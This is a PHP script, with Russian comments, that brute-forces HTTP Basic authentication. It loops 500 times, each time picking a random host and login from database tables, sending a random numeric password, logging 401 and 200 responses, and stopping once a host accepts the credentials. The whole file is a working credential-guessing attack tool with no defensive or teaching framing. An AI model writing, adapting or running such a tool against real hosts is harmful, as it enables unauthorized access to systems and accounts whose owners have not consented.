<?php


$_SERVER['SERVER_NAME']='tk-ligat.ru';
require_once('/home/cloud/core/set/tk-ligat.ru.php');
require_once('/home/cloud/core/api/php/db.php');
require_once('/home/cloud/core/api/php/json.php');


//генерируем случайный набор символов случайной длины
function gen_random($minlen, $maxlen){
    //делаем случайную длину
    $len=rand($minlen, $maxlen);
    $arr = array(
    //'!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '{', '}', '[', ']', '+', '?','|',
    //'А', 'Б', 'В', 'Г', 'Д', 'Е', 'Ё', 'Ж', 'З', 'И', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П', 'Р', 'С', 'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ', 'Ы', 'Ь', 'Э', 'Ю', 'Я',
    //'а', 'б', 'в', 'г', 'д', 'е', 'ё', 'х', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я', 
    //'A', 'B', 'C', 'D', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z',
    //'a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','r','s','t','u','v','x','y','z',
    '1','2','3','4','5','6','7','8','9','0');
    $pass = "";
    for($i = 0; $i < $len; $i++){
    $index = rand(0, count($arr) - 1);
    $pass .= $arr[$index];}
    return $pass;
}

/* ищет str в txt если находит, возвращает единичку */
function findtxt($txt, $str){
    $pos1 = stripos($txt, $str);
    if ($pos1 === false) return 0;
    else
    return 1;
    }


function brut($login='admin', $pwd=123, $host='localhost'){
    $url = $host; // url, на который отправляется запрос

   /* $post_data = [ // поля нашего запроса
        'field1' => 'val_1',
        'field2' => 'val_2',
    ];
*/


    $headers = [
        "Authorization: Basic " . base64_encode($login . ":" . $pwd) . "\r\n"
    ]; // заголовки запроса

    $post_data = http_build_query($post_data);

    $curl = curl_init();
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 120); 
    curl_setopt($curl, CURLOPT_TIMEOUT, 120); //timeout in seconds

    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_VERBOSE, 1);
    //curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_POST, true); // true - означает, что отправляется POST запрос
    $result = trim(curl_exec($curl));


    $http_code = curl_getinfo($curl, CURLINFO_RESPONSE_CODE);
    echo $http_code . "\n";
    $res['http']=$http_code;
    //echo $http_code;

    if (findtxt($http_code, '401')==1) $res['res']='bad';
    if (findtxt($http_code, '200')==1) $res['res']='good';
    curl_close($curl);
    return $res;

    //if ($result=='Unauthorized') return 'bad'; else return 'good';
}


for($i = 0; $i < 500; $i++){
    $password = gen_random(7, 9);
    //Берем рандомный хост
    $host = DB::getValue( 'SELECT `host` FROM `brut_hosts` ORDER BY RAND()  LIMIT 1');
    //Берем рандомный login
    $login = DB::getValue( 'SELECT `login` FROM `brut_logins` ORDER BY RAND()  LIMIT 1');
    //узнаем буртили ли такой пароль...
    //$id1=DB::getValue("SELECT `id` FROM `brut_pwd` WHERE `pwd`=?", $password);
    //if (!$id1)DB::add("INSERT INTO `brut_pwd` (`pwd`, `md5`) VALUES(?, ?)", array($password, md5($password)));


//Проверяем осмысленность действий

    $check200=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `code`=?", array($host, '200'));
    if ($check200)break;
    $id=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `login`=? AND `pwd`=? AND `code`=?", array($host, $login, $password, '401'));
    if (!$id){
        $res=brut($login, $password, $host);
        echo $res['http'] . "\n";
        if (strlen($res['http'])==3)DB::add("INSERT INTO `brut_bad_pwd` (`host`, `login`, `pwd`, `code`) VALUES(?, ?, ?, ?)", array($host, $login, $password, $res['http']));
        
    }
    unset($id);
    sleep(5);
}

DB::set("DELETE FROM `brut_bad_pwd` WHERE `code`='400'");

?>